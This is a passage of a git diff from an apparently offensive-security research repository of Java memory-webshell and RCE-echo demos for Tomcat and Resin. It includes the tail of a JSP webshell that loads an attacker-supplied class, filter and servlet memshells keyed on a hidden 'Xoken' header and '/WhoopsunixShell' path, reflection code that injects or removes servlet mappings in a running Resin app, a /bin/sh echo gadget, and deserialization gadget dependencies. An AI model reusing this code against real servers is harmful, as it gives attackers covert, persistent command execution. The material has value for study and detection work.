X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} +%> \ No newline at end of file diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/test.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/test.jsp similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/test.jsp rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/test.jsp diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/pom.xml similarity index 71% rename from MemShellAndRceEcho/JavaxTomcatDemo/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/pom.xml index 37ff61a..9309909 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/pom.xml @@ -1,25 +1,21 @@ - JavaxTomcatDemo + LowTomcatDemo com.demo - 1.0-SNAPSHOT + 1.0 4.0.0 war - JavaxTomcatDemo + LowTomcatDemo - - org.apache.tomcat - tomcat-catalina - - - - 8.5.82 - - - + + + + + + commons-fileupload commons-fileupload @@ -41,11 +37,25 @@ commons-collections4 4.0 + + commons-collections + commons-collections + + + 3.2.1 + + + + com.mchange + c3p0 + 0.9.5.2 + + - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 @@ -53,6 +63,7 @@ java-object-searcher 0.1.0 + diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java new file mode 100644 index 0000000..bf14285 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java @@ -0,0 +1,64 @@ +//package com.demo.servlet; +// +//import org.apache.commons.fileupload.FileItem; +//import org.apache.commons.fileupload.FileItemFactory; +//import org.apache.commons.fileupload.disk.DiskFileItemFactory; +//import org.apache.commons.fileupload.servlet.ServletFileUpload; +// +//import javax.servlet.annotation.MultipartConfig; +//import javax.servlet.http.HttpServlet; +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +//import java.io.InputStream; +//import java.io.ObjectInputStream; +//import java.util.Collection; +//import java.util.Iterator; +// +//@MultipartConfig +//public class BinaryDeSerializerServlet extends HttpServlet { +// @Override +// protected void doGet(HttpServletRequest req, HttpServletResponse resp) { +// String cmd = req.getParameter("cmd"); +// System.out.println(cmd); +// } +// +// @Override +// protected void doPost(HttpServletRequest request, HttpServletResponse response) { +// try { +// // 检查请求是否包含文件上传 +// if (ServletFileUpload.isMultipartContent(request)) { +// // 创建文件项目工厂 +// FileItemFactory factory = new DiskFileItemFactory(); +// +// // 创建上传处理器 +// ServletFileUpload upload = new ServletFileUpload(factory); +// +// // 解析请求,获取文件项集合 +// @SuppressWarnings("unchecked") +// Collection items = upload.parseRequest(request); +// +// Iterator iterator = items.iterator(); +// while (iterator.hasNext()) { +// FileItem item = iterator.next(); +// +// // 判断是否为普通表单字段还是文件上传字段 +// if (!item.isFormField()) { +// // 获取上传文件的输入流 +// InputStream inputStream = item.getInputStream(); +// +// // 使用对象输入流进行反序列化 +// ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); +// Object deserializedObject = objectInputStream.readObject(); +// objectInputStream.close(); +// } +// } +// } +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// +//} +// +// +// diff --git a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java similarity index 63% rename from MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java rename to SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java index 488ad02..006aabb 100644 --- a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java @@ -1,29 +1,35 @@ -package org.example.jetty.utils; +package com.demo.utils; import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; -import org.example.jetty.gadget.JettyEcho; -import org.ppp.tools.ser.CC4Generator; import java.util.ArrayList; import java.util.List; + /** * @author Whoopsunix */ public class PayloadMake { - public static void main(String[] args) throws Exception{ - CC4Generator cc4Generator = new CC4Generator(); - cc4Generator.make(JettyEcho.class); + public static void main(String[] args) throws Exception { + new PayloadMake().searchTomcat(); } - public void searchJetty() { +// public static void cc4() throws Exception { +// Class msmClass = TomcatEcho.class; +// CC4Generator cc4Generator = new CC4Generator(); +// String payload = cc4Generator.make(msmClass); +// System.out.println(payload.length()); +// cc4Generator.makeFile(msmClass, "cc4.bin"); +// } + + public void searchTomcat() { //设置搜索类型包含Request关键字的对象 - List keys = new ArrayList<>(); + List keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 - List blacklists = new ArrayList<>(); + List blacklists = new ArrayList(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); @@ -37,4 +43,6 @@ public void searchJetty() { searcher.setReport_save_path("/tmp/"); searcher.searchObject(); } + + } diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/LowTomcatDemo/src/main/webapp/WEB-INF/web.xml diff --git a/MemShellAndRceEcho/OSEcho/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/pom.xml similarity index 94% rename from MemShellAndRceEcho/OSEcho/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/pom.xml index a2acc2e..0c58241 100644 --- a/MemShellAndRceEcho/OSEcho/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/pom.xml @@ -1,7 +1,7 @@ org.example - 1.0-SNAPSHOT + 1.0 4.0.0 OSEcho war @@ -47,9 +47,9 @@ - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEcho.java similarity index 99% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEcho.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEcho.java index 91365d1..5747c99 100644 --- a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEcho.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEcho.java @@ -10,7 +10,7 @@ public class LinuxEcho { static { try { String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; - java.util.List list = new java.util.ArrayList<>(); + java.util.List list = new java.util.ArrayList(); String[] cmd = new String[]{"/bin/sh", "-c", command}; java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe.java similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe.java diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe2.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe2.java similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe2.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/LinuxEchoSafe2.java diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho.java similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho.java diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho2.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho2.java similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho2.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/gadgets/WinEcho2.java diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java diff --git a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/search/Search.java b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/search/Search.java similarity index 87% rename from MemShellAndRceEcho/OSEcho/src/main/java/org/example/search/Search.java rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/search/Search.java index aeb478e..1f45255 100644 --- a/MemShellAndRceEcho/OSEcho/src/main/java/org/example/search/Search.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/java/org/example/search/Search.java @@ -1,7 +1,7 @@ package org.example.search; import org.example.gadgets.*; -import org.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.CC4Generator; /** diff --git a/MemShellAndRceEcho/OSEcho/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/WEB-INF/web.xml diff --git a/MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho-Deprecated.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho-Deprecated.jsp similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho-Deprecated.jsp rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho-Deprecated.jsp diff --git a/MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho.jsp similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho.jsp rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/WindowsEcho.jsp diff --git a/MemShellAndRceEcho/OSEcho/src/main/webapp/case1.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/case1.jsp similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/webapp/case1.jsp rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/case1.jsp diff --git a/MemShellAndRceEcho/OSEcho/src/main/webapp/case2-Deprecated.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/case2-Deprecated.jsp similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/webapp/case2-Deprecated.jsp rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/case2-Deprecated.jsp diff --git a/MemShellAndRceEcho/OSEcho/src/main/webapp/case2.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/case2.jsp similarity index 100% rename from MemShellAndRceEcho/OSEcho/src/main/webapp/case2.jsp rename to SecVulns/VulnCore/MemShellAndRceEcho/OSEcho/src/main/webapp/case2.jsp diff --git a/MemShellAndRceEcho/README.md b/SecVulns/VulnCore/MemShellAndRceEcho/README.md similarity index 100% rename from MemShellAndRceEcho/README.md rename to SecVulns/VulnCore/MemShellAndRceEcho/README.md diff --git a/MemShellAndRceEcho/ResinDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/pom.xml similarity index 95% rename from MemShellAndRceEcho/ResinDemo/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/pom.xml index f5bd85f..bce2bc1 100644 --- a/MemShellAndRceEcho/ResinDemo/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/pom.xml @@ -1,7 +1,7 @@ org.example - 1.0-SNAPSHOT + 1.0 4.0.0 ResinDemo war @@ -33,9 +33,9 @@ - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/echo/ResinEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/echo/ResinEcho.java similarity index 97% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/echo/ResinEcho.java rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/echo/ResinEcho.java index 1cc6525..873b4a2 100644 --- a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/echo/ResinEcho.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/echo/ResinEcho.java @@ -32,7 +32,7 @@ public class ResinEcho { if (value.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { Object request = value; - String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "X-Token"); + String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, "Xoken"); String result = exec(header); Object response = request.getClass().getMethod("createResponse").invoke(request); Method responseStreamMethod = response.getClass().getDeclaredMethod("createResponseStream"); diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinFilterExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinFilterExecMS.java similarity index 99% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinFilterExecMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinFilterExecMS.java index b7677e6..4e31e42 100644 --- a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinFilterExecMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinFilterExecMS.java @@ -14,7 +14,7 @@ public class ResinFilterExecMS implements Filter { private static String NAME = "Whoopsunix"; private static String PATTERN = "/WhoopsunixShell"; - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; static { diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinListenerExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinListenerExecMS.java similarity index 99% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinListenerExecMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinListenerExecMS.java index 2068279..c421409 100644 --- a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinListenerExecMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinListenerExecMS.java @@ -16,7 +16,7 @@ * [4.0.52, 4.0.66] */ public class ResinListenerExecMS implements ServletRequestListener { - private static String header = "X-Token"; + private static String header = "Xoken"; static { try { diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinServletExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinServletExecMS.java similarity index 99% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinServletExecMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinServletExecMS.java index 2bd9ac3..6b4c4fa 100644 --- a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinServletExecMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/ResinServletExecMS.java @@ -16,7 +16,7 @@ public class ResinServletExecMS implements Servlet { private static String NAME = "Whoopsunix"; private static String PATTERN = "/WhoopsunixShell"; - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; static { try { diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/unload/UnloadResinFilterExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/unload/UnloadResinFilterExecMS.java new file mode 100644 index 0000000..631fb9f --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/unload/UnloadResinFilterExecMS.java @@ -0,0 +1,152 @@ +package org.example.resin.memshell.unload; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; + +/** + * @author Whoopsunix + */ +public class UnloadResinFilterExecMS { + private static String NAME = "Whoopsunix"; + private static String CLASSNAME = "ResinFilterExecMS"; + private static String PATTERN = "/WhoopsunixShell"; + + static { + try { + UnloadResinFilterExecMS resinFilterExecMS = new UnloadResinFilterExecMS(); + + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; i++) { + try { + Class cls = threads[i].currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = cls.getMethod("getContextRequest").invoke(null); + Object webapp = contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); + if (webapp == null) + continue; + + if (isInject(webapp, resinFilterExecMS)) { + break; + } + + inject(webapp, resinFilterExecMS); + + } catch (Exception e) { + + } + } + } catch (Exception e) { + } + } + + public static boolean isInject(Object webapp, Object object) { + try { + /** + * Object chain = ((HttpServletRequestImpl) servletRequest)._invocation.getFilterChain(); + * 需要排查是不是因为 chain 中有所以删不掉 + */ + + String NAME = (String) getFieldValue(object, "NAME"); + String PATTERN = (String) getFieldValue(object, "PATTERN"); +// ((WebApp) webapp)._filterChainCache.clear(); + Object _filterMapper = getFieldValue(webapp, "_filterMapper"); + Object _filterMapper_filterManager = getFieldValue(_filterMapper, "_filterManager"); + HashMap _filterMapper_filters = (HashMap) getFieldValue(_filterMapper_filterManager, "_filters"); + if (_filterMapper_filters.containsKey(NAME)) { + _filterMapper_filters.remove(NAME); + } + // 同时匹配到路径和类名才删除,避免对业务产生影响 + ArrayList _filterMap = (ArrayList) getFieldValue(_filterMapper, "_filterMap"); + for (int i = 0; i < _filterMap.size(); i++) { + Object filterMap = _filterMap.get(i); + String _filterName = (String) getFieldValue(filterMap, "_filterName"); + String _urlPattern = (String) getFieldValue(filterMap, "_urlPattern"); + if (_filterName.contains(NAME) && _urlPattern.contains(PATTERN)) { + _filterMap.remove(i); + break; + } + } + + Object _filterManager = getFieldValue(webapp, "_filterManager"); + HashMap _filters = (HashMap) getFieldValue(_filterManager, "_filters"); + if (_filters.containsKey(NAME)) { + _filters.remove(NAME); + } + HashMap _urlPatterns = (HashMap) getFieldValue(_filterManager, "_urlPatterns"); + if (_urlPatterns.containsKey(NAME)) { + _urlPatterns.remove(NAME); + } + + // 在访问 Filter 后, _bean _instances 会被添加 + Object _bean = getFieldValue(_filterManager, "_bean"); + if (_bean != null) { + Object _rawClass = getFieldValue(_bean, "_rawClass"); + String name = (String) getFieldValue(_rawClass, "name"); + if (name.contains(CLASSNAME)) { + setFieldValue(_filterManager, "_bean", null); + } + } + + HashMap _instances = (HashMap) getFieldValue(_filterManager, "_instances"); + if (_instances.containsKey(NAME)) { + _instances.remove(NAME); + } + // 没去找调用了,直接写在这怕漏掉 + HashMap _servletNames = (HashMap) getFieldValue(_filterManager, "_servletNames"); + if (_servletNames.containsKey(NAME)) { + _servletNames.remove(NAME); + } + return true; + + } catch (Exception e) { + e.printStackTrace(); + } + + return false; + } + + public static void inject(Object webapp, Object object) { + return; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(Class clazz, String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) { + try { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/unload/UnloadResinServletExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/unload/UnloadResinServletExecMS.java new file mode 100644 index 0000000..e90d8d9 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/memshell/unload/UnloadResinServletExecMS.java @@ -0,0 +1,152 @@ +package org.example.resin.memshell.unload; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; + +/** + * @author Whoopsunix + * JMX 获取 StandardContext 注入 Tomcat Servlet 型内存马 + * Tomcat 7 8 9 + */ +public class UnloadResinServletExecMS { + private static String NAME = "Whoopsunix"; + private static String PATTERN = "/WhoopsunixShell"; + private static String CLASSNAME = "ResinServletExecMS"; + + static { + try { + UnloadResinServletExecMS resinListenerExecMS = new UnloadResinServletExecMS(); + + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + for (int i = 0; i < threads.length; i++) { + try { + Class cls = threads[i].currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = cls.getMethod("getContextRequest").invoke(null); + Object webapp = contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); + + // todo 看要怎么取到那个 + try { + Object _invocation = getFieldValue(contextRequest, "_invocation"); + System.out.println("pppuri: " + getFieldValue(_invocation, "_uri")); + } catch (Exception e){ + + } + +// if (isInject(webapp, resinListenerExecMS)) { +//// break; +// } + + inject(webapp, resinListenerExecMS); + } catch (Exception e) { + } + } + } catch (Exception e) { + } + } + + public static void inject(Object webapp, Object object) { + try { + String NAME = (String) getFieldValue(object, "NAME"); + String pattern = (String) getFieldValue(object, "PATTERN"); + Object servletMapping = Class.forName("com.caucho.server.dispatch.ServletMapping").newInstance(); + invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{object.getClass().getName()}); + invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{NAME}); + invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{pattern}); + invokeMethod(webapp, "addServletMapping", new Class[]{Class.forName("com.caucho.server.dispatch.ServletMapping")}, new Object[]{servletMapping}); + + } catch (Exception e) { + + } + } + + public static boolean isInject(Object webapp, Object object) { + try { + String NAME = (String) getFieldValue(object, "NAME"); + String PATTERN = (String) getFieldValue(object, "PATTERN"); + String CLASSNAME = (String) getFieldValue(object, "CLASSNAME"); + + Object _servletManager = getFieldValue(webapp, "_servletManager"); + HashMap _servlets = (HashMap) getFieldValue(_servletManager, "_servlets"); + _servlets.remove(NAME); + ArrayList _servletList = (ArrayList) getFieldValue(_servletManager, "_servletList"); + for (int j = 0; j < _servletList.size(); ++j) { + String _servletName = (String) getFieldValue(_servletList.get(j), "_servletName"); + String _servletNameDefault = (String) getFieldValue(_servletList.get(j), "_servletNameDefault"); + if (_servletName.equals(NAME) && _servletNameDefault.equals(PATTERN)) { + _servletList.remove(j); + } + } + + // _servletMapper + Object _servletMapper = getFieldValue(webapp, "_servletMapper"); + Object _servletMap = getFieldValue(_servletMapper, "_servletMap"); + ArrayList _regexps = (ArrayList) getFieldValue(_servletMap, "_regexps"); + for (int i = 0; i < _regexps.size(); i++) { + try { + Object urlMap = _regexps.get(i); + Object _urlPattern = getFieldValue(urlMap, "_urlPattern"); + if (_urlPattern.toString().equals(PATTERN)) { + _regexps.remove(i); + } + } catch (Exception e) { + + } + } + HashMap _urlPatterns = (HashMap) getFieldValue(_servletMapper, "_urlPatterns"); + _urlPatterns.remove(NAME); + + // _servletMapper._servletManager + _servletManager = getFieldValue(_servletMapper, "_servletManager"); + _servlets = (HashMap) getFieldValue(_servletManager, "_servlets"); + _servlets.remove(NAME); + _servletList = (ArrayList) getFieldValue(_servletManager, "_servletList"); + for (int j = 0; j < _servletList.size(); ++j) { + String _servletName = (String) getFieldValue(_servletList.get(j), "_servletName"); + String _servletNameDefault = (String) getFieldValue(_servletList.get(j), "_servletNameDefault"); + if (_servletName.equals(NAME) && _servletNameDefault.equals(PATTERN)) { + _servletList.remove(j); + } + } + return true; + + + } catch (Exception e) { + + } + return false; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) { + try { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + method.invoke(obj, args); + } catch (Exception e) { + + } + } +} diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/Base64DeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/Base64DeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/Base64DeSerializerServlet.java diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/BinaryDeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/BinaryDeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/BinaryDeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/servlet/BinaryDeSerializerServlet.java diff --git a/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java similarity index 87% rename from MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java rename to 